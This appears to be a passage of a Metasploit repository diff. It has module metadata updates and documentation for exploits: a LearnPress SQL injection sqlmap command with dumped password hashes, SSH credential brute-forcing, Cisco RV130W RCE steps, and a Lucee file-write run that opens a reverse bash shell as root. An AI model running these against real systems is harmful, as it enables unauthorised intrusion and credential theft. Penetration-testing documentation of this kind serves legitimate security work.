"URL-http://support.lexmark.com/index?page=content&id=TE953",
"URL-https://github.com/jacob-baines/concealed_position",
"URL-https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Jacob%20Baines%20-%20Bring%20Your%20Own%20Print%20Driver%20Vulnerability.pdf"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Windows"
],
"mod_time": "2021-08-11 12:25:36 +0000",
"path": "/modules/exploits/windows/local/lexmark_driver_privesc.rb",
"is_install_path": true,
"ref_name": "windows/local/lexmark_driver_privesc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk"
],
"Reliability": [
"repeatable-session"
],
"Stability": [
"service-resource-loss"
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": true
},
"exploit_windows/local/microfocus_operations_privesc": {
"name": "Micro Focus Operations Bridge Manager / Reporter Local Privilege Escalation",
"fullname": "exploit/windows/local/microfocus_operations_privesc",
@@ -144294,7 +144686,7 @@
"targets": [
"Windows x64"
],
"mod_time": "2021-02-22 18:47:46 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/mov_ss.rb",
"is_install_path": true,
"ref_name": "windows/local/mov_ss",
@@ -144391,7 +144783,7 @@
"targets": [
"Windows 2K SP4 - Windows 7 (x86)"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/ms10_015_kitrap0d.rb",
"is_install_path": true,
"ref_name": "windows/local/ms10_015_kitrap0d",
@@ -144634,7 +145026,7 @@
"targets": [
"Windows 7 SP0/SP1"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/ms13_081_track_popup_menu.rb",
"is_install_path": true,
"ref_name": "windows/local/ms13_081_track_popup_menu",
@@ -144779,7 +145171,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2021-03-04 15:54:38 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/ms14_058_track_popup_menu.rb",
"is_install_path": true,
"ref_name": "windows/local/ms14_058_track_popup_menu",
@@ -144925,7 +145317,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2021-03-04 15:54:38 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/ms15_051_client_copy_image.rb",
"is_install_path": true,
"ref_name": "windows/local/ms15_051_client_copy_image",
@@ -145028,7 +145420,7 @@
"targets": [
"Windows 7 SP0/SP1"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb",
"is_install_path": true,
"ref_name": "windows/local/ms16_014_wmi_recv_notif",
@@ -145072,7 +145464,7 @@
"targets": [
"Windows 7 SP1"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/ms16_016_webdav.rb",
"is_install_path": true,
"ref_name": "windows/local/ms16_016_webdav",
@@ -145170,7 +145562,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/ms16_075_reflection.rb",
"is_install_path": true,
"ref_name": "windows/local/ms16_075_reflection",
@@ -145201,7 +145593,7 @@
"phra",
"lupman"
],
"description": "This module utilizes the Net-NTLMv2 reflection between DCOM/RPC\n to achieve a SYSTEM handle for elevation of privilege.\n It requires a CLSID string.\n Windows 10 after version 1803, (April 2018 update, build 17134) and all\n versions of Windows Server 2019 are not vulnerable.",
"description": "This module utilizes the Net-NTLMv2 reflection between DCOM/RPC\n to achieve a SYSTEM handle for elevation of privilege.\n It requires a CLSID string.\n Windows 10 after version 1803, (April 2018 update, build 17134) and all\n versions of Windows Server 2019 are not vulnerable.",
"references": [
"MSB-MS16-075",
"CVE-2016-3225",
@@ -145223,7 +145615,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-08-24 16:34:01 +0000",
"path": "/modules/exploits/windows/local/ms16_075_reflection_juicy.rb",
"is_install_path": true,
"ref_name": "windows/local/ms16_075_reflection_juicy",
@@ -145535,7 +145927,7 @@
"targets": [
"Windows 8 / Windows 8.1 (x86 and x64)"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-08-25 18:19:58 +0000",
"path": "/modules/exploits/windows/local/ntapphelpcachecontrol.rb",
"is_install_path": true,
"ref_name": "windows/local/ntapphelpcachecontrol",
@@ -145583,7 +145975,7 @@
"targets": [
"Windows 7 x86"
],
"mod_time": "2021-02-24 20:24:57 +0000",
"mod_time": "2021-07-20 15:54:09 +0000",
"path": "/modules/exploits/windows/local/ntusermndragover.rb",
"is_install_path": true,
"ref_name": "windows/local/ntusermndragover",
@@ -145591,6 +145983,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-os-restarts"
],
"SideEffects": [
"screen-effects"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": [
"meterpreter"
@@ -145628,7 +146029,7 @@
"targets": [
"Windows x64"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/nvidia_nvsvc.rb",
"is_install_path": true,
"ref_name": "windows/local/nvidia_nvsvc",
@@ -146034,7 +146435,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/ppr_flatten_rec.rb",
"is_install_path": true,
"ref_name": "windows/local/ppr_flatten_rec",
@@ -146537,7 +146938,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-05-19 15:58:40 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/tokenmagic.rb",
"is_install_path": true,
"ref_name": "windows/local/tokenmagic",
@@ -146545,6 +146946,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": [
"meterpreter"
@@ -153833,7 +154244,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2021-08-20 16:06:16 +0000",
"path": "/modules/exploits/windows/postgres/postgres_payload.rb",
"is_install_path": true,
"ref_name": "windows/postgres/postgres_payload",
@@ -157230,7 +157641,7 @@
"MOF upload",
"Command"
],
"mod_time": "2020-10-27 15:05:23 +0000",
"mod_time": "2021-08-10 13:17:57 +0000",
"path": "/modules/exploits/windows/smb/psexec.rb",
"is_install_path": true,
"ref_name": "windows/smb/psexec",
@@ -159773,7 +160184,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-28 10:35:25 +0000",
"mod_time": "2021-08-13 16:21:39 +0000",
"path": "/modules/payloads/singles/android/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "android/meterpreter_reverse_http",
@@ -159807,7 +160218,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-28 10:35:25 +0000",
"mod_time": "2021-08-13 16:21:39 +0000",
"path": "/modules/payloads/singles/android/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "android/meterpreter_reverse_https",
@@ -162852,7 +163263,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2021-06-15 17:35:19 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_ssh",
@@ -182204,7 +182615,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-05-30 15:32:04 +0000",
"mod_time": "2021-08-09 15:53:58 +0000",
"path": "/modules/post/linux/gather/enum_network.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_network",
@@ -185185,7 +185596,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-02-11 12:26:27 +0000",
"mod_time": "2021-08-10 12:08:25 +0000",
"path": "/modules/post/multi/manage/shell_to_meterpreter.rb",
"is_install_path": true,
"ref_name": "multi/manage/shell_to_meterpreter",
@@ -189100,7 +189511,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-07-29 11:43:57 +0000",
"mod_time": "2021-08-10 09:36:42 +0000",
"path": "/modules/post/windows/gather/credentials/windows_sam_hivenightmare.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/windows_sam_hivenightmare",
@@ -190871,7 +191282,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-28 10:35:25 +0000",
"mod_time": "2021-08-16 16:34:50 +0000",
"path": "/modules/post/windows/gather/enum_unattend.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_unattend",
@@ -190881,7 +191292,8 @@
"notes": {
},
"session_types": [
"meterpreter"
"meterpreter",
"shell"
],
"needs_cleanup": null
},
+5 -5
View File
@@ -2,11 +2,11 @@
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
# This file is the source Rails uses to define your schema when running `bin/rails
# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.
@@ -0,0 +1,88 @@
## Vulnerable Application
LearnPress, a learning management plugin for WordPress,
prior to 3.2.6.8 is affected by an authenticated SQL injection via the
`current_items[]` parameter of the `post-new.php` page.
The plugin can be downloaded [here](https://downloads.wordpress.org/plugin/learnpress.3.2.6.7.zip)
This module slightly replicates sqlmap running as:
```
sqlmap -u 'http://<IP>/wp-admin/post-new.php?post_type=lp_order' --cookie '<cookie>' --data "type=lp_course&context=order-items&context_id=32&term=+test&paged=1&lp-ajax=modal_search_items&current_items[]=1" -p "current_items[]" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql
```
## Verification Steps
1. Install the plugin, use defaults
2. Start msfconsole
3. Do: `use auxiliary/scanner/http/wp_learnpress_sqli`
4. Do: `set username <username>`
5. Do: `set password <password>`
6. Do: `run`
7. You should get the users and hashes returned.
## Options
### ACTION: List Users
This action lists `COUNT` users and password hashes.
## COUNT
If action `List Users` is selected (default), this is the number of users to enumerate.
The larger this list, the more time it will take. Defaults to `3`.
### PASSWORD
The password for a user.
### USERNAME
The username for a user.
## Scenarios
### LearnPress 3.2.6.7 on Wordpress 5.4.4 on Ubuntu 20.04
```
resource (learnpress.rb)> use auxiliary/scanner/http/wp_learnpress_sqli
resource (learnpress.rb)> set rhosts 111.111.1.111
rhosts => 111.111.1.111
resource (learnpress.rb)> set username admin
username => admin
resource (learnpress.rb)> set password admin
password => admin
resource (learnpress.rb)> set verbose true
verbose => true
resource (learnpress.rb)> set count 3
count => 3
resource (learnpress.rb)> run
[*] Checking /wp-content/plugins/learnpress/readme.txt
[*] Found version 3.2.6.7 in the plugin
[+] Vulnerable version detected
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(CKvFyxDg) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) CKvFyxDg from wp_users limit 3) wmnJO)
[*] {SQLi} Encoded to (select group_concat(CKvFyxDg) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xd5,0)),ifnull(user_pass,repeat(0x49,0))) as binary) CKvFyxDg from wp_users limit 3) wmnJO)
[*] {SQLi} Time-based injection: expecting output of length 124
[+] wp_users
========
user_login user_pass
---------- ---------
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1
editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_learnpress_sqli) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
111.111.1.111 admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 Nonreplayable hash phpass
111.111.1.111 editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/ Nonreplayable hash phpass
111.111.1.111 admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1 Nonreplayable hash phpass
```
@@ -6,7 +6,7 @@ key. This module has been tested successfully on a Win2k8 R2 Domain Controller.
### Test Environment
This vulnerability was patched in 2014 but Group Policy Prefence files can still be found in modern environments. Because of that it is
This vulnerability was patched in 2014 but Group Policy Preference files can still be found in modern environments. Because of that it is
necessary to have a means to test this vulnerability in a contrived way.
Starting from a Windows Server that has been configured as an Active Directory Domain Controller:
@@ -1,79 +1,96 @@
## SSH Service
## Vulnerable Application
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
This module attempts to login to SSH with username and password combinations. For public/private SSH keys, please use `auxiliary/scanner/ssh/ssh_login_pubkey`.
It should be noted that some modern Operating Systems have default configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key login.
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line
level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators. This module
attempts to login to SSH with username and password combinations. For public/private SSH keys, please use
`auxiliary/scanner/ssh/ssh_login_pubkey`. It should be noted that some modern Operating Systems have default
configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key
login.
## Verification Steps
1. Install SSH and start it.
2. Start msfconsole
3. Do: ` use auxiliary/scanner/ssh/ssh_login`
4. Do: `set rhosts`
5. Do: set usernames and passwords via any of the available options
5. Do: `run`
6. You will hopefully see something similar to, followed by a session:
1. Install SSH and start it.
2. Start msfconsole
3. Do: ` use auxiliary/scanner/ssh/ssh_login`
4. Do: `set rhosts`
5. Do: set usernames and passwords via any of the available options
5. Do: `run`
6. You will hopefully see something similar to, followed by a session:
```[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '```
```
[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
```
### Session Capabilities
Like Meterpreter sessions, this newly established session can be used to pivot connections as defined by Metasploit's
routing table. To forward all new TCP connections through the session run `route add 0.0.0.0 0.0.0.0 -1`. This leverages
the TCP forwarding capabilities of the remote SSH server. UDP forwarding is not supported by SSH servers, so any UDP
traffic will fail.
TCP forwarding requires the `AllowTcpForwarding` option to be enabled in the server's configuration file, which is often
the default. If the option is disabled or the more specific `PermitOpen` option does not allow the connection to be
made, the connection will fail with the `administratively prohibited` error.
## Options
**BLANK_PASSWORD**
### BLANK_PASSWORD
Boolean value on if an additional login attempt should be attempted with an empty password for every user.
**PASSWORD**
Password to try for each user.
**PASS_FILE**
A file containing a password on every line. Kali linux example: `/usr/share/wordlists/metasploit/password.lst`
Boolean value on if an additional login attempt should be attempted with an empty password for every user.
**RHOSTS**
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file:/root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
### PASSWORD
**STOP_ON_SUCCESS**
If a valid login is found on a host, immediately stop attempting additional logins on that host.
Password to try for each user.
**USERNAME**
Username to try for each password.
**USERPASS_FILE**
A file containing a username and password, separated by a space, on every line. An example line would be `username password`
**USER_AS_PASS**
Boolean value on if an additional login attempt should be attempted with the password as the username.
**USER_FILE**
A file containing a username on every line.
### PASS_FILE
**VERBOSE**
Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed attempt will look similar to the following:
A file containing a password on every line. Kali linux example: `/usr/share/wordlists/metasploit/password.lst`
```
[-] SSH - Failed: 'msfadmin:virtual'
```
### STOP_ON_SUCCESS
If a valid login is found on a host, immediately stop attempting additional logins on that host.
### USERNAME
Username to try for each password.
### USERPASS_FILE
A file containing a username and password, separated by a space, on every line. An example line would be `username
password`.
### USER_AS_PASS
Boolean value on if an additional login attempt should be attempted with the password as the username.
### USER_FILE
A file containing a username on every line.
### VERBOSE
Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed
attempt will look similar to the following:
```
[-] SSH - Failed: 'msfadmin:virtual'
```
## Option Combinations
It is important to note that usernames and passwords can be entered in multiple combinations. For instance, a password could be set in `PASSWORD`, be part of either `PASS_FILE` or `USERPASS_FILE`, be guessed via `USER_AS_PASS` or `BLANK_PASSWORDS`.
This module makes a combination of all of the above when attempting logins. So if a password is set in `PASSWORD`, and a `PASS_FILE` is listed, passwords will be generated from BOTH of these.
It is important to note that usernames and passwords can be entered in multiple combinations. For instance, a password
could be set in `PASSWORD`, be part of either `PASS_FILE` or `USERPASS_FILE`, be guessed via `USER_AS_PASS` or
`BLANK_PASSWORDS`. This module makes a combination of all of the above when attempting logins. So if a password is set
in `PASSWORD`, and a `PASS_FILE` is listed, passwords will be generated from BOTH of these.
## Scenarios
Example run against:
* Ubuntu 14.04 Server with root login permitted: 192.168.2.156
* Ubuntu 16.04 Server: 192.168.2.137
* Metasploitable: 192.168.2.46
* Metasploitable 2: 192.168.2.35
Example run against:
* Ubuntu 14.04 Server with root login permitted: 192.168.2.156
* Ubuntu 16.04 Server: 192.168.2.137
* Metasploitable: 192.168.2.46
* Metasploitable 2: 192.168.2.35
```
msf > use auxiliary/scanner/ssh/ssh_login
@@ -143,8 +160,9 @@ Active sessions
9 shell /linux SSH ubuntu:ubuntu (192.168.2.137:22) 192.168.2.117:37027 -> 192.168.2.137:22 (192.168.2.137)
```
Example run against:
* Windows 10 w/ Linux Subsystem
Example run against:
* Windows 10 w/ Linux Subsystem
```
msf > use auxiliary/scanner/ssh/ssh_login
@@ -173,11 +191,12 @@ Active sessions
```
Example run against:
* Windows 10 w/ Bitvise SSH Server (WinSSHD) version 7.26-r2 and a virtual account created
It is important to note here that the module gives back a **Success**, but then errors when trying to identify the remote system.
This should be enough info to manually exploit via a regular SSH command.
Example run against:
* Windows 10 w/ Bitvise SSH Server (WinSSHD) version 7.26-r2 and a virtual account created
It is important to note here that the module gives back a **Success**, but then errors when trying to identify the
remote system. This should be enough info to manually exploit via a regular SSH command.
```
msf > use auxiliary/scanner/ssh/ssh_login
@@ -1,76 +1,89 @@
## SSH Service
## Vulnerable Application
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
This module attempts to login to SSH with username and private key combinations. For username and password logins, please use `auxiliary/scanner/ssh/ssh_login`.
It should be noted that some modern Operating Systems have default configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key login.
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line
level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators. This
module attempts to login to SSH with username and private key combinations. For username and password logins, please
use `auxiliary/scanner/ssh/ssh_login`. It should be noted that some modern Operating Systems have default
configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key
login.
### Key Generation
On most modern *nix Operating System, the `ssh-keygen` command can be utilized to create an SSH key. Metasploit expects the key to be unencrypted, so no password should be set during `ssh-keygen`.
After following the prompts to create the SSH key pair, the `pub` key needs to be added to the authorized_keys list. To do so simply run: `cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys`
On most modern *nix Operating System, the `ssh-keygen` command can be utilized to create an SSH key. Metasploit
expects the key to be unencrypted, so no password should be set during `ssh-keygen`. After following the prompts to
create the SSH key pair, the `pub` key needs to be added to the authorized_keys list. To do so simply run: `cat
~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys`
## Verification Steps
1. Install SSH and start it.
2. Create an SSH keypair and add the public key to the `authorized_keys` file
3. Start msfconsole
4. Do: ` use auxiliary/scanner/ssh/ssh_login_pubkey`
5. Do: `set rhosts`
6. Do: set usernames with one of the available options
7. Do: set private keys with one or both of the available options
1. Do: `set KEY_PATH ` to either a file or path
2. Do: `set PRIVATE_KEY ` to `file:PRIVATE_KEY_PATH`
8. Do: `run`
9. You will hopefully see something similar to the following:
1. Install SSH and start it.
2. Create an SSH keypair and add the public key to the `authorized_keys` file
3. Start msfconsole
4. Do: ` use auxiliary/scanner/ssh/ssh_login_pubkey`
5. Do: `set rhosts`
6. Do: set usernames with one of the available options
7. Do: set private keys with one or both of the available options
1. Do: `set KEY_PATH ` to either a file or path
2. Do: `set PRIVATE_KEY ` to `file:PRIVATE_KEY_PATH`
8. Do: `run`
9. You will hopefully see something similar to the following:
```
[+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY-----
```
```
[+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY-----
```
### Session Capabilities
Like Meterpreter sessions, this newly established session can be used to pivot connections as defined by Metasploit's
routing table. For more information, see the module docs for `auxiliary/scanner/ssh/ssh_login`.
## Options
**KEY_PATH**
### KEY_PATH
A string to the private key to attempt, or a folder containing private keys to attempt. Any file name starting with a period (`.`) or ending in `.pub` will be ignored.
An SSH key is typically kept in a user's home directory under `.ssh/id_rsa`. The file contents, when not encrypted with a password will start with `-----BEGIN RSA PRIVATE KEY-----`
A string to the private key to attempt, or a folder containing private keys to attempt. Any file name starting with a
period (`.`) or ending in `.pub` will be ignored. An SSH key is typically kept in a user's home directory under
`.ssh/id_rsa`. The file contents, when not encrypted with a password will start with `-----BEGIN RSA PRIVATE KEY-----`
**PRIVATE_KEY**
### PRIVATE_KEY
A string of the private key to attempt. For MSFConsole users the option should be set to `file:PRIVATE_KEY_PATH` and it will read in the string value of the private key. Currently OpenSSH, RSA, DSA, and ECDSA private keys are supported.
**RHOSTS**
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file:/root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
A string of the private key to attempt. For MSFConsole users the option should be set to `file:PRIVATE_KEY_PATH` and it
will read in the string value of the private key. Currently OpenSSH, RSA, DSA, and ECDSA private keys are supported.
**STOP_ON_SUCCESS**
If a valid login is found on a host, immediately stop attempting additional logins on that host.
### STOP_ON_SUCCESS
**USERNAME**
Username to try for each password.
**USER_FILE**
A file containing a username on every line.
If a valid login is found on a host, immediately stop attempting additional logins on that host.
**VERBOSE**
Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `KEY_PATH`s are used. A failed attempt will look similar to the following: `[-] SSH - Failed`
### USERNAME
Username to try for each password.
### USER_FILE
A file containing a username on every line.
### VERBOSE
Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `KEY_PATH`s are used. A failed
attempt will look similar to the following: `[-] SSH - Failed`
## Option Combinations
It is important to note that usernames can be entered in multiple combinations. For instance, a username could be set in `USERNAME`, and be part of `USER_FILE`.
This module makes a combination of all of the above when attempting logins. So if a username is set in `USERNAME`, and a `USER_FILE` is listed, usernames will be generated from BOTH of these.
It is important to note that usernames can be entered in multiple combinations. For instance, a username could be set
in `USERNAME`, and be part of `USER_FILE`. This module makes a combination of all of the above when attempting logins.
So if a username is set in `USERNAME`, and a `USER_FILE` is listed, usernames will be generated from BOTH of these.
Similar to `USERNAME` and `USER_FILE`, both `KEY_PATH` and `PRIVATE_KEY` can be set simultaneously and all unique combinations of these will be tested.
Similar to `USERNAME` and `USER_FILE`, both `KEY_PATH` and `PRIVATE_KEY` can be set simultaneously and all unique
combinations of these will be tested.
## Scenarios
Example run with a FOLDER set for `KEY_PATH` against:
* Ubuntu 14.04 Server
Example run with a FOLDER set for `KEY_PATH` against:
While the two SSH key are nearly identical, one character has been modified in one of the keys to prevent a successful login.
* Ubuntu 14.04 Server
While the two SSH key are nearly identical, one character has been modified in one of the keys to prevent a successful
login.
```
msf > use auxiliary/scanner/ssh/ssh_login_pubkey
@@ -148,10 +161,9 @@ AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/
[*] Auxiliary module execution completed
```
Similar example but run with a KEY FILE set for `PRIVATE_KEY`:
Similar example but run with a KEY FILE set for `PRIVATE_KEY`:
```
```
msf > use auxiliary/scanner/ssh/ssh_login_pubkey
msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.156
rhosts => 192.168.2.156
@@ -221,4 +233,4 @@ AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/
[*] Command shell session 1 opened (192.168.2.117:44179 -> 192.168.2.156:22) at 2017-02-22 22:08:11 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
@@ -1,27 +0,0 @@
# Cisco RV130W Routers Management Interface Remote Command Execution
A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
system of the affected device as a high-privilege user.
## Vulnerable Device
* RV130 Multifunction VPN Router versions prior to 1.0.3.45 are affected.
* RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
This exploit was specifically written against version 1.0.3.28. To test, you can find the
firmware here: https://software.cisco.com/download/home/285026141/type/282465789/release/1.0.3.28
## Verification Steps
1. Start msfconsole
2. ```use exploit/linux/http/cisco_rv130_rmi_rce```
3. ```set rhost [IP]```
4. ```set payload linux/armle/meterpreter_reverse_tcp```
5. ```set lhost [IP]```
6. ```exploit```
7. You should get a session
@@ -0,0 +1,160 @@
## Vulnerable Application
### Description
This module exploits an arbitrary file write in Lucee Administrator's
`imgProcess.cfm` file to execute commands as the Tomcat user.
### Setup
Run the following [Docker] command to test Lucee **5.3.7.43**:
`docker run -dp 8888:8888 lucee/lucee:5.3.7.43`
[Docker]: https://hub.docker.com/r/lucee/lucee
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Scenarios
### Lucee 5.3.7.43 in [Docker]
```
msf6 > use exploit/linux/http/lucee_admin_imgprocess_file_write
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > options
Module options (exploit/linux/http/lucee_admin_imgprocess_file_write):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8888 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /lucee yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > set lhost 172.16.57.1
lhost => 172.16.57.1
msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > run
[*] Started reverse TCP handler on 172.16.57.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Lucee Administrator imgProcess.cfm detected.
[*] Writing CFML stub: http://127.0.0.1:8888/lucee/2esdjIrVqvM.cfm
[*] Executing cmd/unix/reverse_bash (Unix Command)
[+] Deleted /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/2esdjIrVqvM.cfm
[+] Deleted /opt/lucee/web/temp/admin-ext-thumbnails/__/
[*] Command shell session 1 opened (172.16.57.1:4444 -> 172.16.57.1:59439) at 2021-08-16 05:58:53 -0500
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 8c48d3e94284 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 GNU/Linux
```
## IOCs
```
==> /opt/lucee/server/lucee-server/context/logs/application.log <==
